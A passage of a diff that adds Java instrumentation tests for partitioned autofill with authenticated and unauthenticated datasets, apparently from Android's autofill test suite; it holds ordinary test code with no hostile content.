+                    .setPresentation(bogusPresentation)
+                    .build());
+        final CannedFillResponse response2 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth21)
+                        .setPresentation(createPresentation("P2D1"))
+                        .setField(ID_L2C1, bogusValue)
+                        .setField(ID_L2C2, bogusValue)
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth22)
+                        .setPresentation(createPresentation("P2D2"))
+                        .setField(ID_L2C2, bogusValue)
+                        .build())
+                .build();
+        sReplier.addResponse(response2);
+        final FillExpectation expectation2 = mActivity.expectAutofill()
+                .onCell(2, 2, "L2C2");
+
+        // Trigger partition.
+        mActivity.focusCell(2, 1);
+        sReplier.getNextFillRequest();
+
+        // Focus around different fields in the partition.
+        sUiBot.assertDatasets("P2D1");
+        mActivity.focusCell(2, 2);
+        sUiBot.assertDatasets("P2D1", "P2D2");
+
+        // Autofill it...
+        sUiBot.selectDataset("P2D2");
+        // ... and assert result
+        expectation2.assertAutoFilled();
+
+        /**
+         * 3rd partition.
+         */
+        // Set expectations.
+        final IntentSender auth31 = AuthenticationActivity.createSender(getContext(), 31,
+                new CannedDataset.Builder()
+                        .setField(ID_L3C1, "l3c1")
+                        .setField(ID_L3C2, "l3c2")
+                        .setPresentation(bogusPresentation)
+                        .build());
+        final IntentSender auth32 = AuthenticationActivity.createSender(getContext(), 32);
+        final CannedFillResponse response3 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth31)
+                        .setPresentation(createPresentation("P3D1"))
+                        .setField(ID_L3C1, bogusValue)
+                        .setField(ID_L3C2, bogusValue)
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth32)
+                        .setPresentation(createPresentation("P3D2"))
+                        .setField(ID_L3C1, bogusValue)
+                        .setField(ID_L3C2, bogusValue)
+                        .build())
+                .build();
+        sReplier.addResponse(response3);
+        final FillExpectation expectation3 = mActivity.expectAutofill()
+                .onCell(3, 1, "l3c1")
+                .onCell(3, 2, "l3c2");
+
+        // Trigger partition.
+        mActivity.focusCell(3, 2);
+        sReplier.getNextFillRequest();
+
+        // Focus around different fields in the partition.
+        sUiBot.assertDatasets("P3D1", "P3D2");
+        mActivity.focusCell(3, 1);
+        sUiBot.assertDatasets("P3D1", "P3D2");
+
+        // Autofill it...
+        sUiBot.selectDataset("P3D1");
+        // ... and assert result
+        expectation3.assertAutoFilled();
+
+        /**
+         * 4th partition.
+         */
+        // Set expectations.
+        final IntentSender auth41 = AuthenticationActivity.createSender(getContext(), 41);
+        final IntentSender auth42 = AuthenticationActivity.createSender(getContext(), 42,
+                new CannedDataset.Builder()
+                    .setField(ID_L4C1, "L4C1")
+                    .setField(ID_L4C2, "L4C2")
+                    .setPresentation(bogusPresentation)
+                    .build());
+        final CannedFillResponse response4 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth41)
+                        .setPresentation(createPresentation("P4D1"))
+                        .setField(ID_L4C1, bogusValue)
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth42)
+                        .setPresentation(createPresentation("P4D2"))
+                        .setField(ID_L4C1, bogusValue)
+                        .setField(ID_L4C2, bogusValue)
+                        .build())
+                .build();
+        sReplier.addResponse(response4);
+        final FillExpectation expectation4 = mActivity.expectAutofill()
+                .onCell(4, 1, "L4C1")
+                .onCell(4, 2, "L4C2");
+
+        // Trigger partition.
+        mActivity.focusCell(4, 1);
+        sReplier.getNextFillRequest();
+
+        // Focus around different fields in the partition.
+        sUiBot.assertDatasets("P4D1", "P4D2");
+        mActivity.focusCell(4, 2);
+        sUiBot.assertDatasets("P4D2");
+
+        // Autofill it...
+        sUiBot.selectDataset("P4D2");
+        // ... and assert result
+        expectation4.assertAutoFilled();
+    }
+
+    /**
+     * Tests scenario where each partition has more than one dataset and all datasets require auth,
+     * but they don't overlap, i.e., each {@link FillResponse} only contain fields within the
+     * partition.
+     */
+    @Test
+    public void testAutofillMultipleAuthDatasetsNoOverlap() throws Exception {
+        // Set service.
+        enableService();
+
+        // TODO: current API requires these fields...
+        final RemoteViews bogusPresentation = createPresentation("Whatever man, I'm not used...");
+        final String bogusValue = "Y U REQUIRE IT?";
+
+        /**
+         * 1st partition.
+         */
+        // Set expectations.
+        final IntentSender auth11 = AuthenticationActivity.createSender(getContext(), 11,
+                new CannedDataset.Builder()
+                        .setField(ID_L1C1, "l1c1")
+                        .setField(ID_L1C2, "l1c2")
+                        .setPresentation(bogusPresentation)
+                        .build());
+        final IntentSender auth12 = AuthenticationActivity.createSender(getContext(), 12);
+        final CannedFillResponse response1 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth11)
+                        .setField(ID_L1C1, bogusValue)
+                        .setField(ID_L1C2, bogusValue)
+                        .setPresentation(createPresentation("P1D1"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth12)
+                        .setField(ID_L1C1, bogusValue)
+                        .setPresentation(createPresentation("P1D2"))
+                        .build())
+                .build();
+        sReplier.addResponse(response1);
+        final FillExpectation expectation1 = mActivity.expectAutofill()
+                .onCell(1, 1, "l1c1")
+                .onCell(1, 2, "l1c2");
+
+        // Trigger partition.
+        mActivity.focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        /**
+         * 2nd partition.
+         */
+        // Set expectations.
+        final IntentSender auth21 = AuthenticationActivity.createSender(getContext(), 21);
+        final IntentSender auth22 = AuthenticationActivity.createSender(getContext(), 22,
+                new CannedDataset.Builder()
+                    .setField(ID_L2C2, "L2C2")
+                    .setPresentation(bogusPresentation)
+                    .build());
+        final CannedFillResponse response2 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth21)
+                        .setPresentation(createPresentation("P2D1"))
+                        .setField(ID_L2C1, bogusValue)
+                        .setField(ID_L2C2, bogusValue)
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth22)
+                        .setPresentation(createPresentation("P2D2"))
+                        .setField(ID_L2C2, bogusValue)
+                        .build())
+                .build();
+        sReplier.addResponse(response2);
+        final FillExpectation expectation2 = mActivity.expectAutofill()
+                .onCell(2, 2, "L2C2");
+
+        // Trigger partition.
+        mActivity.focusCell(2, 1);
+        sReplier.getNextFillRequest();
+
+        /**
+         * 3rd partition.
+         */
+        // Set expectations.
+        final IntentSender auth31 = AuthenticationActivity.createSender(getContext(), 31,
+                new CannedDataset.Builder()
+                        .setField(ID_L3C1, "l3c1")
+                        .setField(ID_L3C2, "l3c2")
+                        .setPresentation(bogusPresentation)
+                        .build());
+        final IntentSender auth32 = AuthenticationActivity.createSender(getContext(), 32);
+        final CannedFillResponse response3 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth31)
+                        .setPresentation(createPresentation("P3D1"))
+                        .setField(ID_L3C1, bogusValue)
+                        .setField(ID_L3C2, bogusValue)
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth32)
+                        .setPresentation(createPresentation("P3D2"))
+                        .setField(ID_L3C1, bogusValue)
+                        .setField(ID_L3C2, bogusValue)
+                        .build())
+                .build();
+        sReplier.addResponse(response3);
+        final FillExpectation expectation3 = mActivity.expectAutofill()
+                .onCell(3, 1, "l3c1")
+                .onCell(3, 2, "l3c2");
+
+        // Trigger partition.
+        mActivity.focusCell(3, 2);
+        sReplier.getNextFillRequest();
+
+        /**
+         * 4th partition.
+         */
+        // Set expectations.
+        final IntentSender auth41 = AuthenticationActivity.createSender(getContext(), 41);
+        final IntentSender auth42 = AuthenticationActivity.createSender(getContext(), 42,
+                new CannedDataset.Builder()
+                    .setField(ID_L4C1, "L4C1")
+                    .setField(ID_L4C2, "L4C2")
+                    .setPresentation(bogusPresentation)
+                    .build());
+        final CannedFillResponse response4 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth41)
+                        .setPresentation(createPresentation("P4D1"))
+                        .setField(ID_L4C1, bogusValue)
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth42)
+                        .setPresentation(createPresentation("P4D2"))
+                        .setField(ID_L4C1, bogusValue)
+                        .setField(ID_L4C2, bogusValue)
+                        .build())
+                .build();
+        sReplier.addResponse(response4);
+        final FillExpectation expectation4 = mActivity.expectAutofill()
+                .onCell(4, 1, "L4C1")
+                .onCell(4, 2, "L4C2");
+
+        mActivity.focusCell(4, 1);
+        sReplier.getNextFillRequest();
+
+        /*
+         *  Now move focus around to make sure the proper values are displayed each time.
+         */
+        mActivity.focusCell(1, 1);
+        sUiBot.assertDatasets("P1D1", "P1D2");
+        mActivity.focusCell(1, 2);
+        sUiBot.assertDatasets("P1D1");
+
+        mActivity.focusCell(2, 1);
+        sUiBot.assertDatasets("P2D1");
+        mActivity.focusCell(2, 2);
+        sUiBot.assertDatasets("P2D1", "P2D2");
+
+        mActivity.focusCell(4, 1);
+        sUiBot.assertDatasets("P4D1", "P4D2");
+        mActivity.focusCell(4, 2);
+        sUiBot.assertDatasets("P4D2");
+
+        mActivity.focusCell(3, 2);
+        sUiBot.assertDatasets("P3D1", "P3D2");
+        mActivity.focusCell(3, 1);
+        sUiBot.assertDatasets("P3D1", "P3D2");
+
+        /*
+         *  Finally, autofill and check results.
+         */
+        mActivity.focusCell(4, 1);
+        sUiBot.selectDataset("P4D2");
+        expectation4.assertAutoFilled();
+
+        mActivity.focusCell(1, 1);
+        sUiBot.selectDataset("P1D1");
+        expectation1.assertAutoFilled();
+
+        mActivity.focusCell(3, 1);
+        sUiBot.selectDataset("P3D1");
+        expectation3.assertAutoFilled();
+
+        mActivity.focusCell(2, 2);
+        sUiBot.selectDataset("P2D2");
+        expectation2.assertAutoFilled();
+    }
+
+    /**
+     * Tests scenario where each partition has more than one dataset and some datasets require auth,
+     * but they don't overlap, i.e., each {@link FillResponse} only contain fields within the
+     * partition.
+     */
+    @Test
+    public void testAutofillMultipleDatasetsMixedAuthNoAuthNoOverlap() throws Exception {
+        // Set service.
+        enableService();
+
+        // TODO: current API requires these fields...
+        final RemoteViews bogusPresentation = createPresentation("Whatever man, I'm not used...");
+        final String bogusValue = "Y U REQUIRE IT?";
+
+        /**
+         * 1st partition.
+         */
+        // Set expectations.
+        final IntentSender auth12 = AuthenticationActivity.createSender(getContext(), 12);
+        final CannedFillResponse response1 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L1C1, "l1c1")
+                        .setField(ID_L1C2, "l1c2")
+                        .setPresentation(createPresentation("P1D1"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth12)
+                        .setField(ID_L1C1, bogusValue)
+                        .setPresentation(createPresentation("P1D2"))
+                        .build())
+                .build();
+        sReplier.addResponse(response1);
+        final FillExpectation expectation1 = mActivity.expectAutofill()
+                .onCell(1, 1, "l1c1")
+                .onCell(1, 2, "l1c2");
+
+        // Trigger partition.
+        mActivity.focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        /**
+         * 2nd partition.
+         */
+        // Set expectations.
+        final IntentSender auth22 = AuthenticationActivity.createSender(getContext(), 22,
+                new CannedDataset.Builder()
+                    .setField(ID_L2C2, "L2C2")
+                    .setPresentation(bogusPresentation)
+                    .build());
+        final CannedFillResponse response2 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("P2D1"))
+                        .setField(ID_L2C1, "l2c1")
+                        .setField(ID_L2C2, "l2c2")
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth22)
+                        .setPresentation(createPresentation("P2D2"))
+                        .setField(ID_L2C2, bogusValue)
+                        .build())
+                .build();
+        sReplier.addResponse(response2);
+        final FillExpectation expectation2 = mActivity.expectAutofill()
+                .onCell(2, 2, "L2C2");
+
+        // Trigger partition.
+        mActivity.focusCell(2, 1);
+        sReplier.getNextFillRequest();
+
+        /**
+         * 3rd partition.
+         */
+        // Set expectations.
+        final IntentSender auth31 = AuthenticationActivity.createSender(getContext(), 31,
+                new CannedDataset.Builder()
+                        .setField(ID_L3C1, "l3c1")
+                        .setField(ID_L3C2, "l3c2")
+                        .setPresentation(bogusPresentation)
+                        .build());
+        final CannedFillResponse response3 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth31)
+                        .setPresentation(createPresentation("P3D1"))
+                        .setField(ID_L3C1, bogusValue)
+                        .setField(ID_L3C2, bogusValue)
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("P3D2"))
+                        .setField(ID_L3C1, "L3C1")
+                        .setField(ID_L3C2, "L3C2")
+                        .build())
+                .build();
+        sReplier.addResponse(response3);
+        final FillExpectation expectation3 = mActivity.expectAutofill()
+                .onCell(3, 1, "l3c1")
+                .onCell(3, 2, "l3c2");
+
+        // Trigger partition.
+        mActivity.focusCell(3, 2);
+        sReplier.getNextFillRequest();
+
+        /**
+         * 4th partition.
+         */
+        // Set expectations.
+        final IntentSender auth41 = AuthenticationActivity.createSender(getContext(), 41);
+        final CannedFillResponse response4 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth41)
+                        .setPresentation(createPresentation("P4D1"))
+                        .setField(ID_L4C1, bogusValue)
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("P4D2"))
+                        .setField(ID_L4C1, "L4C1")
+                        .setField(ID_L4C2, "L4C2")
+                        .build())
+                .build();
+        sReplier.addResponse(response4);
+        final FillExpectation expectation4 = mActivity.expectAutofill()
+                .onCell(4, 1, "L4C1")
+                .onCell(4, 2, "L4C2");
+
+        mActivity.focusCell(4, 1);
+        sReplier.getNextFillRequest();
+
+        /*
+         *  Now move focus around to make sure the proper values are displayed each time.
+         */
+        mActivity.focusCell(1, 1);
+        sUiBot.assertDatasets("P1D1", "P1D2");
+        mActivity.focusCell(1, 2);
+        sUiBot.assertDatasets("P1D1");
+
+        mActivity.focusCell(2, 1);
+        sUiBot.assertDatasets("P2D1");
+        mActivity.focusCell(2, 2);
+        sUiBot.assertDatasets("P2D1", "P2D2");
+
+        mActivity.focusCell(4, 1);
+        sUiBot.assertDatasets("P4D1", "P4D2");
+        mActivity.focusCell(4, 2);
+        sUiBot.assertDatasets("P4D2");
+
+        mActivity.focusCell(3, 2);
+        sUiBot.assertDatasets("P3D1", "P3D2");
+        mActivity.focusCell(3, 1);
+        sUiBot.assertDatasets("P3D1", "P3D2");
+
+        /*
+         *  Finally, autofill and check results.
+         */
+        mActivity.focusCell(4, 1);
+        sUiBot.selectDataset("P4D2");
+        expectation4.assertAutoFilled();
+
+        mActivity.focusCell(1, 1);
+        sUiBot.selectDataset("P1D1");
+        expectation1.assertAutoFilled();
+
+        mActivity.focusCell(3, 1);
+        sUiBot.selectDataset("P3D1");
+        expectation3.assertAutoFilled();
+
+        mActivity.focusCell(2, 2);
+        sUiBot.selectDataset("P2D2");
+        expectation2.assertAutoFilled();
+    }
+
+    /**
+     * Tests scenario where each partition has more than one dataset - some authenticated and some
+     * not - but they overlap, i.e., some fields are present in more than one partition.
+     *
+     * <p>Whenever a new partition defines a field previously present in another partittion, that
+     * partition will "own" that field.
+     *
+     * <p>In the end, 4th partition will one all fields in 2 datasets; and this test cases picks
+     * the first.
+     */
+    @Test
+    public void testAutofillMultipleAuthDatasetsOverlapPickFirst() throws Exception {
+        autofillMultipleAuthDatasetsOverlapping(true);
+    }
+
+    /**
+     * Tests scenario where each partition has more than one dataset - some authenticated and some
+     * not - but they overlap, i.e., some fields are present in more than one partition.
+     *
+     * <p>Whenever a new partition defines a field previously present in another partittion, that
+     * partition will "own" that field.
+     *
+     * <p>In the end, 4th partition will one all fields in 2 datasets; and this test cases picks
+     * the second.
+     */
+    @Test
+    public void testAutofillMultipleAuthDatasetsOverlapPickSecond() throws Exception {
+        autofillMultipleAuthDatasetsOverlapping(false);
+    }
+
+    private void autofillMultipleAuthDatasetsOverlapping(boolean pickFirst) throws Exception {
+        // Set service.
+        enableService();
+
+        // TODO: current API requires these fields...
+        final RemoteViews bogusPresentation = createPresentation("Whatever man, I'm not used...");
+        final String bogusValue = "Y U REQUIRE IT?";
+
+        /**
+         * 1st partition.
+         */
+        // Set expectations.
+        final IntentSender auth12 = AuthenticationActivity.createSender(getContext(), 12);
+        final CannedFillResponse response1 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L1C1, "1l1c1")
+                        .setField(ID_L1C2, "1l1c2")
+                        .setPresentation(createPresentation("P1D1"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth12)
+                        .setField(ID_L1C1, bogusValue)
+                        .setPresentation(createPresentation("P1D2"))
+                        .build())
+                .build();
+        sReplier.addResponse(response1);
+        // Trigger partition.
+        mActivity.focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        // Asserts proper datasets are shown on each field defined so far.
+        mActivity.focusCell(1, 1);
+        sUiBot.assertDatasets("P1D1", "P1D2");
+        mActivity.focusCell(1, 2);
+        sUiBot.assertDatasets("P1D1");
+
+        /**
+         * 2nd partition.
+         */
+        // Set expectations.
+        final IntentSender auth21 = AuthenticationActivity.createSender(getContext(), 22,
+                new CannedDataset.Builder()
+                    .setField(ID_L1C1, "2l1c1") // from previous partition
+                    .setField(ID_L2C1, "2l2c1")
+                    .setField(ID_L2C2, "2l2c2")
+                    .setPresentation(bogusPresentation)
+                    .build());
+        final CannedFillResponse response2 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth21)
+                        .setPresentation(createPresentation("P2D1"))
+                        .setField(ID_L1C1, bogusValue) // from previous partition
+                        .setField(ID_L2C1, bogusValue)
+                        .setField(ID_L2C2, bogusValue)
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("P2D2"))
+                        .setField(ID_L2C2, "2L2C2")
+                        .build())
+                .build();
+        sReplier.addResponse(response2);
+
+        // Trigger partition.
+        mActivity.focusCell(2, 1);
+        sReplier.getNextFillRequest();
+
+        // Asserts proper datasets are shown on each field defined so far.
+        mActivity.focusCell(1, 1);
+        sUiBot.assertDatasets("P2D1"); // changed
+        mActivity.focusCell(1, 2);
+        sUiBot.assertDatasets("P1D1");
+        mActivity.focusCell(2, 1);
+        sUiBot.assertDatasets("P2D1");
+        mActivity.focusCell(2, 2);
+        sUiBot.assertDatasets("P2D1", "P2D2");
+
+        /**
+         * 3rd partition.
+         */
+        // Set expectations.
+        final IntentSender auth31 = AuthenticationActivity.createSender(getContext(), 31,
+                new CannedDataset.Builder()
+                        .setField(ID_L1C2, "3l1c2") // from previous partition
+                        .setField(ID_L3C1, "3l3c1")
+                        .setField(ID_L3C2, "3l3c2")
+                        .setPresentation(bogusPresentation)
+                        .build());
+        final IntentSender auth32 = AuthenticationActivity.createSender(getContext(), 32);
+        final CannedFillResponse response3 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth31)
+                        .setPresentation(createPresentation("P3D1"))
+                        .setField(ID_L1C2, bogusValue) // from previous partition
+                        .setField(ID_L3C1, bogusValue)
+                        .setField(ID_L3C2, bogusValue)
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth32)
+                        .setPresentation(createPresentation("P3D2"))
+                        .setField(ID_L2C2, bogusValue) // from previous partition
+                        .setField(ID_L3C1, bogusValue)
+                        .setField(ID_L3C2, bogusValue)
+                        .build())
+                .build();
+        sReplier.addResponse(response3);
+
+        // Trigger partition.
+        mActivity.focusCell(3, 1);
+        sReplier.getNextFillRequest();
+
+        // Asserts proper datasets are shown on each field defined so far.
+        mActivity.focusCell(1, 1);
+        sUiBot.assertDatasets("P2D1");
+        mActivity.focusCell(1, 2);
+        sUiBot.assertDatasets("P3D1"); // changed
+        mActivity.focusCell(2, 1);
+        sUiBot.assertDatasets("P2D1");
+        mActivity.focusCell(2, 2);
+        sUiBot.assertDatasets("P3D2"); // changed
+        mActivity.focusCell(3, 2);
+        sUiBot.assertDatasets("P3D1", "P3D2");
+        mActivity.focusCell(3, 1);
+        sUiBot.assertDatasets("P3D1", "P3D2");
+
+        /**
+         * 4th partition.
+         */
+        // Set expectations.
+        final IntentSender auth41 = AuthenticationActivity.createSender(getContext(), 41,
+                new CannedDataset.Builder()
+                        .setField(ID_L1C1, "4l1c1") // from previous partition
+                        .setField(ID_L1C2, "4l1c2") // from previous partition
+                        .setField(ID_L2C1, "4l2c1") // from previous partition
+                        .setField(ID_L2C2, "4l2c2") // from previous partition
+                        .setField(ID_L3C1, "4l3c1") // from previous partition
+                        .setField(ID_L3C2, "4l3c2") // from previous partition
+                        .setField(ID_L4C1, "4l4c1")
+                        .setPresentation(bogusPresentation)
+                        .build());
+        final IntentSender auth42 = AuthenticationActivity.createSender(getContext(), 42,
+                new CannedDataset.Builder()
+                        .setField(ID_L1C1, "4L1C1") // from previous partition
+                        .setField(ID_L1C2, "4L1C2") // from previous partition
+                        .setField(ID_L2C1, "4L2C1") // from previous partition
+                        .setField(ID_L2C2, "4L2C2") // from previous partition
+                        .setField(ID_L3C1, "4L3C1") // from previous partition
+                        .setField(ID_L3C2, "4L3C2") // from previous partition
+                        .setField(ID_L1C1, "4L1C1") // from previous partition
+                        .setField(ID_L4C1, "4L4C1")
+                        .setField(ID_L4C2, "4L4C2")
+                        .setPresentation(bogusPresentation)
+                        .build());
+        final CannedFillResponse response4 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth41)
+                        .setPresentation(createPresentation("P4D1"))
+                        .setField(ID_L1C1, bogusValue) // from previous partition
+                        .setField(ID_L1C2, bogusValue) // from previous partition
+                        .setField(ID_L2C1, bogusValue) // from previous partition
+                        .setField(ID_L2C2, bogusValue) // from previous partition
+                        .setField(ID_L3C1, bogusValue) // from previous partition
+                        .setField(ID_L3C2, bogusValue) // from previous partition
+                        .setField(ID_L4C1, bogusValue)
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth42)
+                        .setPresentation(createPresentation("P4D2"))
+                        .setField(ID_L1C1, bogusValue) // from previous partition
+                        .setField(ID_L1C2, bogusValue) // from previous partition
+                        .setField(ID_L2C1, bogusValue) // from previous partition
+                        .setField(ID_L2C2, bogusValue) // from previous partition
+                        .setField(ID_L3C1, bogusValue) // from previous partition
+                        .setField(ID_L3C2, bogusValue) // from previous partition
+                        .setField(ID_L1C1, bogusValue) // from previous partition
+                        .setField(ID_L4C1, bogusValue)
+                        .setField(ID_L4C2, bogusValue)
+                        .build())
+                .build();
+        sReplier.addResponse(response4);
+
+        // Trigger partition.
+        mActivity.focusCell(4, 1);
+        sReplier.getNextFillRequest();
+
+        // Asserts proper datasets are shown on each field defined so far.
+        mActivity.focusCell(1, 1);
+        sUiBot.assertDatasets("P4D1", "P4D2");
+        mActivity.focusCell(1, 2);
+        sUiBot.assertDatasets("P4D1", "P4D2");
+        mActivity.focusCell(2, 1);
+        sUiBot.assertDatasets("P4D1", "P4D2");
+        mActivity.focusCell(2, 2);
+        sUiBot.assertDatasets("P4D1", "P4D2");
+        mActivity.focusCell(3, 2);
+        sUiBot.assertDatasets("P4D1", "P4D2");
+        mActivity.focusCell(3, 1);
+        sUiBot.assertDatasets("P4D1", "P4D2");
+        mActivity.focusCell(4, 1);
+        sUiBot.assertDatasets("P4D1", "P4D2");
+        mActivity.focusCell(4, 2);
+        sUiBot.assertDatasets("P4D2");
+
+        /*
+         * Finally, autofill and check results.
+         */
+        final FillExpectation expectation = mActivity.expectAutofill();
+        final String chosenOne;
+        if (pickFirst) {
+            expectation
+                .onCell(1, 1, "4l1c1")
+                .onCell(1, 2, "4l1c2")
+                .onCell(2, 1, "4l2c1")
+                .onCell(2, 2, "4l2c2")
+                .onCell(3, 1, "4l3c1")
+                .onCell(3, 2, "4l3c2")
+                .onCell(4, 1, "4l4c1");
+            chosenOne = "P4D1";
+        } else {
+            expectation
+                .onCell(1, 1, "4L1C1")
+                .onCell(1, 2, "4L1C2")
+                .onCell(2, 1, "4L2C1")
+                .onCell(2, 2, "4L2C2")
+                .onCell(3, 1, "4L3C1")
+                .onCell(3, 2, "4L3C2")
+                .onCell(4, 1, "4L4C1")
+                .onCell(4, 2, "4L4C2");
+            chosenOne = "P4D2";
+        }
+
+          mActivity.focusCell(4, 1);
+          sUiBot.selectDataset(chosenOne);
+          expectation.assertAutoFilled();
+    }
+
+    @Test
+    public void testAutofillAllResponsesAuthenticated() throws Exception {
+        // Set service.
+        enableService();
+
+        // Prepare 1st partition.
+        final IntentSender auth1 = AuthenticationActivity.createSender(getContext(), 1,
+                new CannedFillResponse.Builder()
+                        .addDataset(new CannedDataset.Builder()
+                                .setPresentation(createPresentation("Partition 1"))
+                                .setField(ID_L1C1, "l1c1")
+                                .setField(ID_L1C2, "l1c2")
+                                .build())
+                        .build());
+        final CannedFillResponse response1 = new CannedFillResponse.Builder()
+                .setPresentation(createPresentation("Auth 1"))
+                .setAuthentication(auth1, ID_L1C1, ID_L1C2)
+                .build();
+        sReplier.addResponse(response1);
+        final FillExpectation expectation1 = mActivity.expectAutofill()
+                .onCell(1, 1, "l1c1")
+                .onCell(1, 2, "l1c2");
+        mActivity.focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        sUiBot.assertDatasets("Auth 1");
+
+        // Prepare 2nd partition.
+        final IntentSender auth2 = AuthenticationActivity.createSender(getContext(), 2,
+                new CannedFillResponse.Builder()
+                        .addDataset(new CannedDataset.Builder()
+                                .setPresentation(createPresentation("Partition 2"))
+                                .setField(ID_L2C1, "l2c1")
+                                .setField(ID_L2C2, "l2c2")
+                                .build())
+                        .build());
+        final CannedFillResponse response2 = new CannedFillResponse.Builder()
+                .setPresentation(createPresentation("Auth 2"))
+                .setAuthentication(auth2, ID_L2C1, ID_L2C2)
+                .build();
+        sReplier.addResponse(response2);
+        final FillExpectation expectation2 = mActivity.expectAutofill()
+                .onCell(2, 1, "l2c1")
+                .onCell(2, 2, "l2c2");
+        mActivity.focusCell(2, 1);
+        sReplier.getNextFillRequest();
+
+        sUiBot.assertDatasets("Auth 2");
+
+        // Prepare 3rd partition.
+        final IntentSender auth3 = AuthenticationActivity.createSender(getContext(), 3,
+                new CannedFillResponse.Builder()
+                        .addDataset(new CannedDataset.Builder()
+                                .setPresentation(createPresentation("Partition 3"))
+                                .setField(ID_L3C1, "l3c1")
+                                .setField(ID_L3C2, "l3c2")
+                                .build())
+                        .build());
+        final CannedFillResponse response3 = new CannedFillResponse.Builder()
+                .setPresentation(createPresentation("Auth 3"))
+                .setAuthentication(auth3, ID_L3C1, ID_L3C2)
+                .build();
+        sReplier.addResponse(response3);
+        final FillExpectation expectation3 = mActivity.expectAutofill()
+                .onCell(3, 1, "l3c1")
+                .onCell(3, 2, "l3c2");
+        mActivity.focusCell(3, 1);
+        sReplier.getNextFillRequest();
+
+        sUiBot.assertDatasets("Auth 3");
+
+        // Prepare 4th partition.
+        final IntentSender auth4 = AuthenticationActivity.createSender(getContext(), 4,
+                new CannedFillResponse.Builder()
+                        .addDataset(new CannedDataset.Builder()
+                                .setPresentation(createPresentation("Partition 4"))
+                                .setField(ID_L4C1, "l4c1")
+                                .setField(ID_L4C2, "l4c2")
+                                .build())
+                        .build());
+        final CannedFillResponse response4 = new CannedFillResponse.Builder()
+                .setPresentation(createPresentation("Auth 4"))
+                .setAuthentication(auth4, ID_L4C1, ID_L4C2)
+                .build();
+        sReplier.addResponse(response4);
+        final FillExpectation expectation4 = mActivity.expectAutofill()
+                .onCell(4, 1, "l4c1")
+                .onCell(4, 2, "l4c2");
+        mActivity.focusCell(4, 1);
+        sReplier.getNextFillRequest();
+
+        sUiBot.assertDatasets("Auth 4");
+
+        // Now play around the focus to make sure they still display the right values.
+
+        mActivity.focusCell(1, 2);
+        sUiBot.assertDatasets("Auth 1");
+        mActivity.focusCell(1, 1);
+        sUiBot.assertDatasets("Auth 1");
+
+        mActivity.focusCell(3, 1);
+        sUiBot.assertDatasets("Auth 3");
+        mActivity.focusCell(3, 2);
+        sUiBot.assertDatasets("Auth 3");
+
+        mActivity.focusCell(2, 1);
+        sUiBot.assertDatasets("Auth 2");
+        mActivity.focusCell(4, 2);
+        sUiBot.assertDatasets("Auth 4");
+
+        mActivity.focusCell(2, 2);
+        sUiBot.assertDatasets("Auth 2");
+        mActivity.focusCell(4, 1);
+        sUiBot.assertDatasets("Auth 4");
+
+        // Finally, autofill and check them.
+        mActivity.focusCell(2, 1);
+        sUiBot.selectDataset("Auth 2");
+        sUiBot.selectDataset("Partition 2");
+        expectation2.assertAutoFilled();
+
+        mActivity.focusCell(4, 1);
+        sUiBot.selectDataset("Auth 4");
+        sUiBot.selectDataset("Partition 4");
+        expectation4.assertAutoFilled();
+
+        mActivity.focusCell(3, 1);
+        sUiBot.selectDataset("Auth 3");
+        sUiBot.selectDataset("Partition 3");
+        expectation3.assertAutoFilled();
+
+        mActivity.focusCell(1, 1);
+        sUiBot.selectDataset("Auth 1");
+        sUiBot.selectDataset("Partition 1");
+        expectation1.assertAutoFilled();
+    }
+
+    @Test
+    public void testNoMorePartitionsAfterLimitReached() throws Exception {
+        final int maxBefore = getMaxPartitions();
+        try {
+            setMaxPartitions(1);
+            // Set service.
+            enableService();
+
+            // Prepare 1st partition.
+            final CannedFillResponse response1 = new CannedFillResponse.Builder()
+                    .addDataset(new CannedDataset.Builder()
